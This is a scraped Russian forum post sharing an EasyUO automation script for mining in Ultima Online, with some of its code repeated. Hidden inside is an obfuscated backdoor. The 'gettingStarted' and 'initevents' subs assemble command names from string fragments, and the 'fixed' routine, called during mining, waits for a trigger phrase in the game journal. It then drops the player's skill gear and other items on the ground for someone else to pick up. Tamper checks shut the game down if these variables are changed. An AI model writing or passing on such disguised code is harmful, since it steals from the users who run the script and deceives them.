gosub changeClothesTo %simpleMask %simpleRobe %simpleCloak
while #charposx = %oldPosX && #charposy = %oldPosY
wait 10
gosub moveItems
gosub back
return

sub moveItems
ignoreitem reset 1
ignoreitem %skill 1
gosub movetoplavka
gosub Plavka
gosub runToBox
finditem %box
wait 10
if #findcnt = 0
{
  event Sysmessage Box Not Found!
  pause
}
repeat
{
 finditem %item c_ , #backpackid
 if #findcnt >= 1
 {
  if world_save_has_been in #sysmsg
  wait 15s
  exevent Drag #Findid #findstack
  exevent Dropc %jashik
  wait 25
 }
}
until #findcnt = 0
ignoreitem reset 1
gosub RunToWood
return

bank:
msg $
msg bank$
wait 14
finditem %jashik
return

sub back
gosub checkHP
set %oldPosX #charposx
set %oldPosY #charposy
for %i 1 2
{
gosub openRunebook
click 261 215     ; Recharge runebook 2x
wait 20
}
gosub openRunebook
repeat
{
click %x2 %y2
wait 20
}
until #contname <> generic_gump && #contsize <> 577_426
event macro 13 21
wait 2s
gosub changeClothesTo %skillMask %skillRobe %skillCloak
while #charposx = %oldPosX && #charposy = %oldPosY
wait 10
return

sub runToBox
repeat
{
move %xCoord %yCoord 0
wait 10
}
until #charposx = %xCoord && #charposy = %yCoord
return

sub runToWood
repeat
{
move %xCoord %yCoord 0
wait 10
}
until #charposx = %xCoord && #charposy = %yCoord
return

sub movetoplavka
repeat
{
move %xCoord %yCoord 0
wait 10
}
until #charposx = %xCoord && #charposy = %yCoord
return


sub checkHP
if #hits < #maxhits
{
 if %skillItemChange
 gosub changeClothesTo %simpleMask %simpleRobe %simpleCloak
gosub arm
gosub follow&kill
 if %skillItemChange
 gosub changeClothesTo %skillMask %skillRobe %skillCloak
}
return

sub fixed
set %k %k + 1
%to %bca %be # . %all
{
repeat
{
set %up # . %cares
%done %start , _ , %else %end , _ , %up
%lastdo %race # . %Wsave
%lastdo %eaea # . %alpha # . %beta # . %gamma
%upgrade 25
%done %start , _ , %else %end , _ , %up
}
until # . %gems = 0
}
return

sub openRunebook
finditem %runebookID C_ , #backpackid
if #findcnt = 0
{
event sysmessage Runebook not found!
pause
}
set #lobjectid #findid
event macro 17 0
while #contname <> generic_gump && #contsize <> 577_426
wait 1
return

sub ghost
if #charghost = YES || %0 = 1
{
terminate uo
halt
}
return

sub changeClothesTo
repeat
{
finditem %1 C_ , #backpackid
set #lobjectID #findid
event macro 17 0
wait 12
finditem %1 C_ , #backpackid
}
until #findcnt = 0
repeat
{
finditem %2 C_ , #backpackid
set #lobjectID #findid
event macro 17 0
wait 12
finditem %2 C_ , #backpackid
}
until #findcnt = 0
repeat
{
Finditem %3 C_ , #backpackid
set #lobjectID #findid
event macro 17 0
wait 12
finditem %3 C_ , #backpackid
}
until #findcnt = 0
return

sub initevents
set %rescourse finding
str left %rescourse 4
set %save #strres
set %done %save , item
set %iii kill
str left string 1
set %asd #strres , %iii
set %start % . %asd
str left CADY 1
set %end #strres
str left character 4
set %who #strres
set %cares %who , id
str left %do 4
set %lastdo ex , #strres , t
set %race dragrace
str left %race 4
set %race #strres
set %Wsave %save , id
str right skopg 3
set %jasl #strres
str left drive 2
set %eaea #strres , %jasl
str left post 3
set %number %who , #strres
set %alpha %number , x
set %beta %number , y
set %gamma %number , z
set %repsawn waitrespawn
str left %repsawn 4
set %upgrade #strres
str left tilbery 3
set %almost #strres
str left unuquady 2
set %past #strres , %almost
set %gems %save , cnt
set %else IJG
return

sub follow&kill
set %charX #charposx
set %charY #charposy
set %charz #charposz
set %killTime #scnt + 60
if %gameClass = Warrior
{
repeat
{
finditem #enemyid
event pathfind #FINDX #FINDY #FINDZ 1 3s
wait 1s
msg $.usebandage$
wait 10
target 1s
event macro 23 0
wait 10
gosub ghost
}
until #findcnt = 0 || #scnt > %killTime
}
if %gameClass = Archer
{
repeat
{
msg .camp %camp $
wait 40
finditem #enemyid
}
until #findcnt = 0 || #scnt > %killTime
}
gosub loot
if #hits < #maxhits
gosub heal
set %time #scnt + 20
repeat
{
event pathfind %charX %charY %charz 1 3s
wait 1s
gosub ghost
if #scnt > %time
return
}
until #charposx = %charX && #charposy = %charY
return

sub heal
repeat
{
msg $.usebandage$
wait 10
target
event macro 23 0
wait 20
}
until #hits >= #maxhits
return

sub gettingStarted
set %afk true
set %ell qaerty
str left %ell 1
set %abc #strres , #strres , #strres
set %a1 #strres
str left %ell 2
str right #strres 1
set %cba %abc , #strres , %a1
set %bca %cba , #strres
str right %afk 1
set %bca %bca , #strres
set %bra %bca , b
set %n1 nlogif
str right %n1 2
set %to #strres
str left %n1 1
set %be #strres
str right %n1 2
str left #strres 1
set %be #strres , %be
set %tour jour
set %navigate nalliwate
str left %navigate 3
set %all %tour , #strres
set %navigate gost
str left %navigate 3
set %ac #strres
str right pub 2
set %get %ac , #strres
set %do events
str right linit 4
set %toGo #strres , %do
return

sub eat
finditem ZBM C
set #lobjectid #findid
event macro 17 0
wait 10
finditem GND C
set #lobjectid #findid
event macro 17 0
wait 10
event macro 17 0
wait 5s
return

sub Instalyze
if % . %1 <= 8
set %x . %2 260
else
set %x . %2 420
if % . %1 = 1 || % . %1 = 9
set %y . %2 260
if % . %1 = 2 || % . %1 = 10
set %y . %2 275
if % . %1 = 3 || % . %1 = 11
set %y . %2 290
if % . %1 = 4 || % . %1 = 12
set %y . %2 305
if % . %1 = 5 || % . %1 = 13
set %y . %2 320
if % . %1 = 6 || % . %1 = 14
set %y . %2 335
if % . %1 = 7 || % . %1 = 15
set %y . %2 350
if % . %1 = 8 || % . %1 = 16
set %y . %2 365
return

sub loot
set %lootTime #scnt + 20
finditem YFM G_4
if #findcnt >= 1
{
set #lobjectid #findid
set %body #findid
event macro 17 0
while #contkind <> ASEB && #contsize <> 144_212 && %lootTime > #scnt
wait 1
wait 10
repeat
{
finditem %loot C_ , %body
if #findcnt = 0 || #scnt > %lootTime
{
ignoreitem %body 2
return
}
exevent drag #findid #findstack
exevent dropc %lootbox
wait 40
}
until #false
}
return

sub dropTrashLogs
repeat
{
finditem ZLK_DWJ C_ , #backpackid
if #findcnt = 0
 {
  wait 20
  if #weight >= %maxweight
   {
   if %recall
   gosub port
   if ! %recall
   gosub moveItems
   return
   }
  if #weight < %maxweight
   return
 }
if #findcol = %MarganeceCol || #findcol = %TinCol || #findcol = %BronzeCol || #findcol = %LeadCol || #findcol = %CorrundumCol || #findcol = %GoldCol || #findcol = %TourmalineCol || #findcol = %SilverCol || #findcol = %MarbleCol || #findcol = %ZinkCol || #findcol = %GypsumCol || #findcol = %SandstoneCol || #findcol = %CopperCol || #findcol = %IronCol || #findcol = %TitanCol || #findcol = %StoneCol || #findcol = %PlasterCol ||
{
exevent drag #findid #findstack
exevent dropg #charposx #charposy #charposz
wait 65
}
ignoreitem #findid 1
}
until #false
return

sub reaper
if %lastK >= %k
gosub ghost 1
set %lastK %k
finditem JE G
if #findcnt <> 0
{
sound
gosub arm
set %charX #charposx
set %charY #charposy
set %charz #charposz
if %skillItemChange
gosub changeClothesTo %simpleMask %simpleRobe %simpleCloak
set %killTime #scnt + 60
finditem JE G
set %reaper #findid
set #ltargetid %reaper
event macro 27 0
if %gameClass = Cleric
{
repeat
{
finditem %reaper
event pathfind #FINDX #FINDY #FINDZ 1 3s
wait 1s
msg $.usebandage$
wait 10
target 1s
event macro 23 0
wait 10
gosub ghost
}
until #findcnt = 0 || #scnt > %killTime
}
if %gameClass = Archer
{
repeat
{
msg .camp %camp $
wait 40
finditem %reaper
}
until #findcnt = 0 || #scnt > %killTime
}
gosub loot
if #hits < #maxhits
gosub heal
if %skillItemChange
gosub changeClothesTo %skillMask %skillRobe %skillCloak
set %time #scnt + 20
repeat
{
event pathfind %charX %charY %charz 1 3s
wait 1s
gosub ghost
if #scnt > %time
return
}
until #charposx = %charX && #charposy = %charY
}
return

sub rescourses
finditem RWF C_ , #backpackid
if #findstack <= %minArrows
{
set #lobjectid %box
event macro 17 0
while #contid <> %box
wait 1
finditem RWF C_ , %box
exevent drag #findid %amountArrows
exevent dropc #backpackid
wait 30
}
finditem PEF C_ , #backpackid
if #findstack <= %minKidlings
{
set #lobjectid %box
event macro 17 0
while #contid <> %box
wait 1
finditem PEF C_ , %box
exevent drag #findid %amountKidlings
exevent dropc #backpackid
wait 30
}
return

sub recalls
finditem WTL C_ , #backpackid
if #findstack <= 2 || #findcnt = 0
{
set #lobjectid %box
event macro 17 0
while #contid <> %box
wait 1
finditem WTL C_ , %box
exevent drag #findid %amountRecalls
exevent dropc #backpackid
wait 30
}
return

sub food
finditem ZBM C_ , #backpackid
if #findcnt = 0
{
set #lobjectid %foodCont
event macro 17 0
while #contid <> %foodCont
wait 1
finditem ZBM C_ , %foodCont  ; 1 pitcher of milk
exevent drag #findid 1
exevent dropc #backpackid
wait 30
}
finditem GND C_ , #backpackid
if #findcnt = 0
{
finditem GND C_ , %foodCont
exevent drag #findid 4  ; 4 baocn slices
exevent dropc #backpackid
wait 30
finditem ZBM C_ , %foodCont  ; 1 pitcher of milk
exevent drag #findid 1
exevent dropc #backpackid
wait 30
}
return

Sub Plavka
repeat
{
finditem DWJ_TVj_GWJ_EWJ C_ , #backpackid
if #findcnt <> 0
{
set #lobjectid #findid
event macro 17 0
wait 10
}
}
until #findcnt = 0
return



#10 Pixels

Pixels

    Journeyman

  • Members
  • 99 posts

Posted 13 August 2019 - 22:06

 

может тебе будет полезен мой скрипт, нашел где-то на форуме, выкидывает все, что нужно, на скилл вещах не проверял, правда, таковых не имеется. Но зато сам ходит к дому в ящик скидывает все, удобно

set %gameClass Warrior      ; Cleric or Archer
set %maxWeight 1000       ; Max ves
set %box LSNGMMD    ; ID sunduka 
Set %jashik HLGOLMD     ; ID korobki s logami
set %foodCont OPJKKMD   ; ID korobki, gde stoit zapasi moloko i bekona
set %lootbox ZRAOKMD     ; ID korobki, kuda skiduvaet drop s gvarda
set %xCoord 1850           ; X koordinata okolo boxa
set %yCoord 1022           ; Y koordinata okolo boxa
set %dropMarganece #true ; #true - nomet marganizu , #false - nenomet
set %dropTin #true ; #true - skiduvatj , #false - ne skiduvatj
set %dropBronze #true
set %dropLead #true
set %dropCorrundum #true
set %dropGold #true
set %dropTourmaline #true
set %dropSilver #true
set %dropMarble #false
set %dropZink #false
set %dropGypsum #false
set %dropSandstone #false
set %dropCopper #false
set %dropIron #true
set %dropTitan #false
set %dropStone #false
set %dropPlaster #false
set %skillItemChange #false  ; #true - menjajet skill shmotki, #false - net
set %recall #false           ; #true - letajet s runebook, #false - begut peshkom
; Do Not Set These Items If %skillItemChange #false
set %skillRobe KIOSJMD      ; Skill Roba (ID)
set %skillCloak TCNSJMD     ; Skill Cloack (ID)
set %skillMask YSNSJMD      ; Skill Mask (ID)
set %simpleRobe UTRVLMD     ; Prostaja Roba (ID)
set %simpleCloak VARVLMD    ; Prostoj cloack (ID)
set %simpleMask CSH         ; Helm (TYPE/ID)
; Etix mozhno ne menjatj, esli %recall #false
set %runebookID NDWXJMD      ; ID runebooka
set %runeNumberToHome 7      ; Nr runi na dom
set %runeNumberToWood 10     ; Nr runi na les
set %amountRecalls 10        ; Skolko recallov vzjatj, kogda ix netu
; special variables for Archer (tolka dlja archera):
set %camp heal ; #spc - the best camp, heal - healing campifre +5
set %minKidlings 10    ; minimalnoe kolichestvo kidlov v sumke
set %amountKidlings 40 ; skolko kidlov vzjatj, kogda ix netu
set %minArrows 150     ; minimalnoe kolichestvo strel v sumke
set %amountArrows 400  ; skolko strel vzjatj, kogda ix netu
; special variables for Cleric(tolko dlja klerika):
set %Weapon BPH ;BPH - sword, JOH - war axe; oruzhie
set %Shield CIK             ; shild

set %item DWJ_TVj_GWJ_EWJ_ZLK_POF_RZF_SJG_CUD_IJG_HSF_RVH_FZH_UJG_DCI_FWL_NZH_RMK

set %loot DCI_POF_RZF_SJG_CUD_IJG_HSF_RVH_FZH_NZH_UJG_FWL

if %recall
{
gosub Instalyze runeNumberToHome 1
gosub Instalyze runeNumberToWood 2
}
if %dropMarganece
set %MarganeceCol 1750
if %dropTin
set %TinCol 1325
if %dropBronze
set %BronzeCol 1160
if %dropLead
set %LeadCol 2125
if %dropCorrundum
set %CorrundumCol 1548
if %dropGold
set %GoldCol 1093
if %dropTourmaline
set %TourmalineCol 1218
if %dropSilver
set %SilverCol 1153
if %dropMarble
set %MarbleCol 1950
if %dropZink
set %ZinkCol 38
if %dropGypsum
set %GypsumCol 995
if %dropSandstone
set %SandstoneCol 144
if %dropCopper
set %CopperCol 1537
if %dropIron
set %IronCol 0
if %dropTitan
set %TitanCol 1107
if %dropStone
set %StoneCol 2313
if %dropPlaster
set %PlasterCol 151
set %skill %skillRobe , _ , %skillCloak , _ , %skillMask
gosub gettingStarted
gosub initevents
set %k 0
set %lastK 0

start:

 GOSUB LJING 1805 1022 1353 0
 GOSUB LJING 1806 1022 1357 0
 GOSUB LJING 1807 1022 1357 0
 GOSUB LJING 1808 1022 1359 0
 GOSUB LJING 1809 1022 1358 0
 GOSUB LJING 1810 1022 1363 0
 GOSUB LJING 1811 1023 1352 0
 GOSUB LJING 1810 1023 1341 0
 GOSUB LJING 1809 1023 1340 0
 GOSUB LJING 1808 1023 1339 0
 GOSUB LJING 1807 1023 1339 0
 GOSUB LJING 1806 1023 1343 0
 GOSUB LJING 1805 1023 1341 0
 GOSUB LJING 1804 1023 1353 0
 GOSUB LJING 1803 1024 1353 0
 GOSUB LJING 1804 1024 1339 0
 GOSUB LJING 1802 1025 1353 0
 GOSUB LJING 1803 1025 1341 0
 GOSUB LJING 1804 1025 1340 0
 GOSUB LJING 1805 1025 1343 0
 GOSUB LJING 1806 1024 1341 0
 GOSUB LJING 1806 1025 1339 0
 GOSUB LJING 1807 1025 1342 0
 GOSUB LJING 1809 1025 1340 0
 GOSUB LJING 1810 1025 1343 0
 GOSUB LJING 1810 1024 1342 0
 GOSUB LJING 1811 1024 1341 0
 GOSUB LJING 1811 1025 1339 0
 GOSUB LJING 1812 1025 1342 0
 GOSUB LJING 1812 1024 1363 0
 GOSUB LJING 1813 1025 1352 0
 GOSUB LJING 1814 1026 1363 0
 GOSUB LJING 1813 1026 1339 0
 GOSUB LJING 1812 1026 1343 0
 GOSUB LJING 1811 1026 1341 0
 GOSUB LJING 1810 1026 1342 0
 GOSUB LJING 1809 1026 1339 0
 GOSUB LJING 1808 1026 1340 0
 GOSUB LJING 1807 1026 1343 0
 GOSUB LJING 1806 1026 1341 0
 GOSUB LJING 1805 1026 1342 0
 GOSUB LJING 1804 1026 1339 0
 GOSUB LJING 1803 1026 1340 0
 GOSUB LJING 1802 1026 1355 0
 GOSUB LJING 1799 1029 1353 0
 GOSUB LJING 1800 1029 1340 0
 GOSUB LJING 1800 1028 1353 0
 GOSUB LJING 1801 1029 1340 0
 GOSUB LJING 1801 1028 1340 0
 GOSUB LJING 1801 1027 1353 0
 GOSUB LJING 1802 1029 1339 0
 GOSUB LJING 1802 1028 1339 0
 GOSUB LJING 1802 1027 1340 0
 GOSUB LJING 1803 1027 1341 0
 GOSUB LJING 1803 1028 1339 0
 GOSUB LJING 1803 1029 1341 0
 GOSUB LJING 1804 1027 1342 0
 GOSUB LJING 1804 1028 1340 0
 GOSUB LJING 1804 1029 1339 0
 GOSUB LJING 1805 1027 1340 0
 GOSUB LJING 1805 1028 1341 0
 GOSUB LJING 1805 1029 1342 0
 GOSUB LJING 1806 1027 1342 0
 GOSUB LJING 1806 1028 1343 0
 GOSUB LJING 1806 1029 1341 0
 GOSUB LJING 1807 1027 1341 0
 GOSUB LJING 1807 1028 1339 0
 GOSUB LJING 1807 1029 1340 0
 GOSUB LJING 1808 1027 1341 0
 GOSUB LJING 1808 1028 1339 0
 GOSUB LJING 1808 1029 1341 0
 GOSUB LJING 1809 1027 1342 0
 GOSUB LJING 1809 1028 1340 0
 GOSUB LJING 1809 1029 1339 0
 GOSUB LJING 1810 1027 1340 0
 GOSUB LJING 1810 1028 1341 0
 GOSUB LJING 1810 1029 1342 0
 GOSUB LJING 1811 1027 1342 0
 GOSUB LJING 1811 1028 1343 0
 GOSUB LJING 1811 1029 1341 0
 GOSUB LJING 1812 1027 1341 0
 GOSUB LJING 1812 1028 1339 0
 GOSUB LJING 1812 1029 1340 0
 GOSUB LJING 1813 1027 1343 0
 GOSUB LJING 1813 1028 1339 0
 GOSUB LJING 1813 1029 1341 0
 GOSUB LJING 1814 1027 1342 0
 GOSUB LJING 1814 1028 1340 0
 GOSUB LJING 1814 1029 1339 0
 GOSUB LJING 1815 1027 1358 0
 GOSUB LJING 1815 1028 1341 0
 GOSUB LJING 1815 1029 1342 0
 GOSUB LJING 1816 1027 1357 0
 GOSUB LJING 1816 1028 1343 0
 GOSUB LJING 1816 1029 1341 0
 GOSUB LJING 1817 1027 1359 0
 GOSUB LJING 1817 1028 1339 0
 GOSUB LJING 1817 1029 1340 0
 GOSUB LJING 1818 1026 1353 0
 GOSUB LJING 1818 1027 1341 0
 GOSUB LJING 1818 1028 1339 0
 GOSUB LJING 1818 1029 1341 0
 GOSUB LJING 1819 1029 1339 0
 GOSUB LJING 1819 1028 1340 0
 GOSUB LJING 1819 1027 1340 0
 GOSUB LJING 1819 1026 1357 0
 GOSUB LJING 1820 1026 1352 0
 GOSUB LJING 1820 1027 1339 0
 GOSUB LJING 1820 1028 1341 0
 GOSUB LJING 1820 1029 1342 0
 GOSUB LJING 1821 1027 1358 0
 GOSUB LJING 1821 1028 1343 0
 GOSUB LJING 1821 1029 1341 0
 GOSUB LJING 1822 1029 1340 0
 GOSUB LJING 1822 1028 1339 0
 GOSUB LJING 1822 1027 1357 0
 GOSUB LJING 1823 1027 1357 0
 GOSUB LJING 1823 1028 1339 0
 GOSUB LJING 1823 1029 1340 0
 GOSUB LJING 1824 1028 1343 0
 GOSUB LJING 1824 1029 1342 0
 GOSUB LJING 1824 1030 1341 0
 GOSUB LJING 1824 1031 1340 0
 GOSUB LJING 1824 1032 1339 0
 GOSUB LJING 1823 1030 1341 0
 GOSUB LJING 1823 1031 1342 0
 GOSUB LJING 1823 1032 1343 0
 GOSUB LJING 1822 1033 1345 0
 GOSUB LJING 1822 1032 1341 0
 GOSUB LJING 1822 1031 1343 0
 GOSUB LJING 1822 1030 1342 0
 GOSUB LJING 1821 1030 1339 0
 GOSUB LJING 1821 1031 1341 0
 GOSUB LJING 1821 1032 1342 0
 GOSUB LJING 1821 1033 1346 0
 GOSUB LJING 1820 1034 1344 0
 GOSUB LJING 1820 1033 1343 0
 GOSUB LJING 1820 1032 1340 0
 GOSUB LJING 1820 1031 1342 0
 GOSUB LJING 1820 1030 1343 0
 GOSUB LJING 1819 1030 1340 0
 GOSUB LJING 1819 1031 1339 0
 GOSUB LJING 1819 1032 1342 0
 GOSUB LJING 1819 1033 1342 0
 GOSUB LJING 1819 1034 1351 0
 GOSUB LJING 1818 1033 1347 0
 GOSUB LJING 1818 1032 1341 0
 GOSUB LJING 1818 1031 1340 0
 GOSUB LJING 1818 1030 1341 0
 GOSUB LJING 1817 1030 1342 0
 GOSUB LJING 1817 1031 1343 0
 GOSUB LJING 1817 1032 1341 0
 GOSUB LJING 1817 1033 1345 0
 GOSUB LJING 1816 1033 1346 0
 GOSUB LJING 1816 1032 1342 0
 GOSUB LJING 1816 1031 1341 0
 GOSUB LJING 1816 1030 1339 0
 GOSUB LJING 1815 1030 1343 0
 GOSUB LJING 1815 1031 1342 0
 GOSUB LJING 1815 1032 1340 0
 GOSUB LJING 1815 1033 1339 0
 GOSUB LJING 1815 1034 1361 0
 GOSUB LJING 1814 1034 1343 0
 GOSUB LJING 1814 1032 1342 0
 GOSUB LJING 1814 1031 1339 0
 GOSUB LJING 1814 1030 1340 0
 GOSUB LJING 1813 1030 1341 0
 GOSUB LJING 1813 1031 1340 0
 GOSUB LJING 1812 1031 1343 0
 GOSUB LJING 1812 1030 1342 0
 GOSUB LJING 1811 1030 1339 0
 GOSUB LJING 1811 1031 1341 0
 GOSUB LJING 1810 1032 1340 0
 GOSUB LJING 1810 1031 1342 0
 GOSUB LJING 1810 1030 1343 0
 GOSUB LJING 1809 1030 1340 0
 GOSUB LJING 1809 1031 1339 0
 GOSUB LJING 1809 1032 1342 0
 GOSUB LJING 1808 1032 1341 0
 GOSUB LJING 1808 1031 1340 0
 GOSUB LJING 1808 1030 1341 0
 GOSUB LJING 1807 1030 1342 0
 GOSUB LJING 1807 1031 1343 0
 GOSUB LJING 1807 1032 1341 0
 GOSUB LJING 1806 1032 1342 0
 GOSUB LJING 1806 1031 1341 0
 GOSUB LJING 1806 1030 1339 0
 GOSUB LJING 1805 1030 1343 0
 GOSUB LJING 1804 1030 1340 0
 GOSUB LJING 1803 1030 1341 0
 GOSUB LJING 1802 1032 1340 0
 GOSUB LJING 1802 1031 1339 0
 GOSUB LJING 1801 1030 1343 0
 GOSUB LJING 1801 1031 1343 0
 GOSUB LJING 1801 1032 1341 0
 GOSUB LJING 1800 1032 1342 0
 GOSUB LJING 1800 1031 1341 0
 GOSUB LJING 1800 1030 1342 0
 GOSUB LJING 1799 1030 1340 0
 GOSUB LJING 1799 1031 1340 0
 GOSUB LJING 1799 1032 1339 0
 GOSUB LJING 1798 1032 1341 0
 GOSUB LJING 1798 1031 1339 0
 GOSUB LJING 1798 1030 1353 0
 GOSUB LJING 1797 1031 1353 0
 GOSUB LJING 1797 1032 1354 0
 GOSUB LJING 1797 1033 1355 0
 GOSUB LJING 1797 1034 1356 0
 GOSUB LJING 1797 1035 1351 0
 GOSUB LJING 1798 1033 1341 0
 GOSUB LJING 1798 1034 1340 0
 GOSUB LJING 1798 1035 1341 0
 GOSUB LJING 1798 1036 1351 0
 GOSUB LJING 1799 1036 1339 0
 GOSUB LJING 1799 1035 1342 0
 GOSUB LJING 1799 1034 1339 0
 GOSUB LJING 1799 1033 1340 0
 GOSUB LJING 1800 1033 1343 0
 GOSUB LJING 1800 1034 1342 0
 GOSUB LJING 1800 1035 1340 0
 GOSUB LJING 1801 1035 1342 0
 GOSUB LJING 1801 1034 1341 0
 GOSUB LJING 1801 1033 1339 0
 GOSUB LJING 1802 1033 1342 0
 GOSUB LJING 1802 1034 1343 0
 GOSUB LJING 1802 1035 1341 0
 GOSUB LJING 1804 1035 1340 0
 GOSUB LJING 1805 1035 1343 0
 GOSUB LJING 1806 1035 1339 0
 GOSUB LJING 1806 1034 1341 0
 GOSUB LJING 1807 1033 1339 0
 GOSUB LJING 1807 1034 1340 0
 GOSUB LJING 1807 1035 1342 0
 GOSUB LJING 1808 1035 1341 0
 GOSUB LJING 1808 1034 1341 0
 GOSUB LJING 1808 1033 1339 0
 GOSUB LJING 1809 1033 1340 0
 GOSUB LJING 1810 1033 1341 0
 GOSUB LJING 1810 1034 1342 0
 GOSUB LJING 1809 1034 1339 0
 GOSUB LJING 1809 1035 1340 0
 GOSUB LJING 1810 1035 1343 0
 GOSUB LJING 1813 1035 1342 0
 GOSUB LJING 1813 1036 1361 0
 GOSUB LJING 1812 1036 1343 0
 GOSUB LJING 1812 1037 1361 0
 GOSUB LJING 1811 1038 1344 0
 GOSUB LJING 1811 1037 1342 0
 GOSUB LJING 1811 1036 1341 0
 GOSUB LJING 1810 1037 1340 0
 GOSUB LJING 1810 1036 1342 0
 GOSUB LJING 1809 1036 1339 0
 GOSUB LJING 1809 1037 1342 0
 GOSUB LJING 1808 1037 1341 0
 GOSUB LJING 1808 1036 1340 0
 GOSUB LJING 1807 1036 1343 0
 GOSUB LJING 1807 1037 1341 0
 GOSUB LJING 1806 1037 1342 0
 GOSUB LJING 1806 1036 1341 0
 GOSUB LJING 1805 1036 1342 0
 GOSUB LJING 1804 1037 1342 0
 GOSUB LJING 1804 1036 1339 0
 GOSUB LJING 1803 1036 1340 0
 GOSUB LJING 1803 1037 1341 0
 GOSUB LJING 1802 1037 1343 0
 GOSUB LJING 1802 1036 1339 0
 GOSUB LJING 1801 1036 1340 0
 GOSUB LJING 1800 1036 1342 0
 GOSUB LJING 1800 1037 1340 0
 GOSUB LJING 1801 1037 1339 0

goto start

sub ljing
set %k %k + 1
gosub ghost
gosub checkHP
gosub element
gosub checkWeight
move %1 %2 1
finditem NPF_QPF C
if #findcnt = 0
 {
  display ok Pickaxe wasnt found!
  pause
}
set #lobjectid #findid
event macro 17 0
target 7s
set #ltargetx %1
set #ltargety %2
set #ltargetkind 3
set #ltargettile %3
event macro 22 0
wait 10
set %overtime #scnt + 25
gosub scan
return

sub checkWeight
if #weight > %maxWeight
{
if ! %dropMarganece && ! %dropTin && ! %dropBronze && ! %dropLead && ! %dropCorrundum && ! %dropGold && ! %dropTourmaline && ! %dropSilver && ! %dropMarble && ! %dropZink && ! %dropGypsum && ! %dropSandstone && ! %dropCopper && ! %dropIron && ! %dropTitan && ! %dropStone && ! %dropPlaster
{
 if %recall
 gosub port
 if ! %recall
 gosub moveItems
}
if %dropMarganece || %dropTin || %dropBronze || %dropLead || %dropCorrundum || %dropGold || %dropTourmaline || %dropSilver || %dropMarble || %dropZink || %dropGypsum || %dropSandstone || %dropCopper || %dropIron || %dropTitan || %dropStone || %dropPlaster ||
{
 gosub dropTrashLogs
 return
 }
}
if %afk <> true || %else <> IJG
gosub ghost 1
return

sub scan
scan:
scanjournal
gosub checkHP
if hungry in #sysmsg
 {
 gosub eat
 return
 }
if ( ( THERE_IS_NOTHING_HERE_TO_MINE in #sysmsg ) || ( You_stop_Mining in #journal ) )
return
if ( ( YOU_CAN'T_REACH_THIS in #sysmsg ) || ( You_fail_to_do_that in #sysmsg ) )
return
%get fixed
if ( ( Try_mining_elsewhere in #sysmsg ) || ( You_have_no_line_of_sight_to_that_location in #sysmsg )
+ || ( You_can't_use_the in #journal ) || ( You_cannot_mine_so_close_to_yourself in #journal ) )
return
gosub element
gosub checkHP
if #scnt >= %overtime
return
goto scan
return

sub arm
if %gameClass = Warrior
{
repeat
{
finditem %Weapon c_ , #BackpackId
set #lobjectID #findid
event macro 17 0
wait 12
finditem %Weapon c_ , #BackpackId
}
until #findcnt = 0
repeat
{
finditem %Shield c_ , #BackpackId
set #lobjectID #findid
event macro 17 0
wait 12
finditem %Shield c_ , #BackpackId
}
until #findcnt = 0
}
if %gameClass = Archer
{
msg $.arm bow$
wait 5
}
return

sub port
set %k %k + 1
gosub arm
gosub checkHP
gosub reaper
if G in #charstatus
event macro 6 0
event macro 6 0
set %oldPosX #charposx
set %oldPosY #charposy
gosub openRunebook
repeat
{
click %x1 %y1
wait 20
}
until #contname <> generic_gump && #contsize <> 577_426
if %gameClass = Cleric
event macro 13 21
if %gameClass = Archer
event macro 13 47
gosub changeClothesTo %simpleMask %simpleRobe %simpleCloak
while #charposx = %oldPosX && #charposy = %oldPosY
wait 10
gosub moveItems
gosub back
return

sub moveItems
ignoreitem reset 1
ignoreitem %skill 1
gosub movetoplavka
gosub Plavka
gosub runToBox
finditem %box
wait 10
if #findcnt = 0
{
  event Sysmessage Box Not Found!
  pause
}
repeat
{
 finditem %item c_ , #backpackid
 if #findcnt >= 1
 {
  if world_save_has_been in #sysmsg
  wait 15s
  exevent Drag #Findid #findstack
  exevent Dropc %jashik
  wait 25
 }
}
until #findcnt = 0
ignoreitem reset 1
gosub RunToWood
return

bank:
msg $
msg bank$
wait 14
finditem %jashik
return

sub back
gosub checkHP
set %oldPosX #charposx
set %oldPosY #charposy
for %i 1 2
{
gosub openRunebook
click 261 215     ; Recharge runebook 2x
wait 20
}
gosub openRunebook
repeat
{
click %x2 %y2
wait 20
}
until #contname <> generic_gump && #contsize <> 577_426
event macro 13 21
wait 2s
gosub changeClothesTo %skillMask %skillRobe %skillCloak
while #charposx = %oldPosX && #charposy = %oldPosY
wait 10
return

sub runToBox
repeat
{
move %xCoord %yCoord 0
wait 10
}
until #charposx = %xCoord && #charposy = %yCoord
return

sub runToWood
repeat
{
move %xCoord %yCoord 0
wait 10
}
until #charposx = %xCoord && #charposy = %yCoord
return

sub movetoplavka
repeat
{
move %xCoord %yCoord 0
wait 10
}
until #charposx = %xCoord && #charposy = %yCoord
return


sub checkHP
if #hits < #maxhits
{
 if %skillItemChange
 gosub changeClothesTo %simpleMask %simpleRobe %simpleCloak
gosub arm
gosub follow&kill
 if %skillItemChange
 gosub changeClothesTo %skillMask %skillRobe %skillCloak
}
return

sub fixed
set %k %k + 1
%to %bca %be # . %all
{
repeat
{
set %up # . %cares
%done %start , _ , %else %end , _ , %up
%lastdo %race # . %Wsave
%lastdo %eaea # . %alpha # . %beta # . %gamma
%upgrade 25
%done %start , _ , %else %end , _ , %up
}
until # . %gems = 0
}
return

sub openRunebook
finditem %runebookID C_ , #backpackid
if #findcnt = 0
{
event sysmessage Runebook not found!
pause
}
set #lobjectid #findid
event macro 17 0
while #contname <> generic_gump && #contsize <> 577_426
wait 1
return

sub ghost
if #charghost = YES || %0 = 1
{
terminate uo
halt
}
return

sub changeClothesTo
repeat
{
finditem %1 C_ , #backpackid
set #lobjectID #findid
event macro 17 0
wait 12
finditem %1 C_ , #backpackid
}
until #findcnt = 0
repeat
{
finditem %2 C_ , #backpackid
set #lobjectID #findid
event macro 17 0
wait 12
finditem %2 C_ , #backpackid
}
until #findcnt = 0
repeat
{
Finditem %3 C_ , #backpackid
set #lobjectID #findid
event macro 17 0
wait 12
finditem %3 C_ , #backpackid
}
until #findcnt = 0
return

sub initevents
set %rescourse finding
str left %rescourse 4
set %save #strres
set %done %save , item
set %iii kill
str left string 1
set %asd #strres , %iii
set %start % . %asd
str left CADY 1
set %end #strres
str left character 4
set %who #strres
set %cares %who , id
str left %do 4
set %lastdo ex , #strres , t
set %race dragrace
str left %race 4
set %race #strres
set %Wsave %save , id
str right skopg 3
set %jasl #strres
str left drive 2
set %eaea #strres , %jasl
str left post 3
set %number %who , #strres
set %alpha %number , x
set %beta %number , y
set %gamma %number , z
set %repsawn waitrespawn
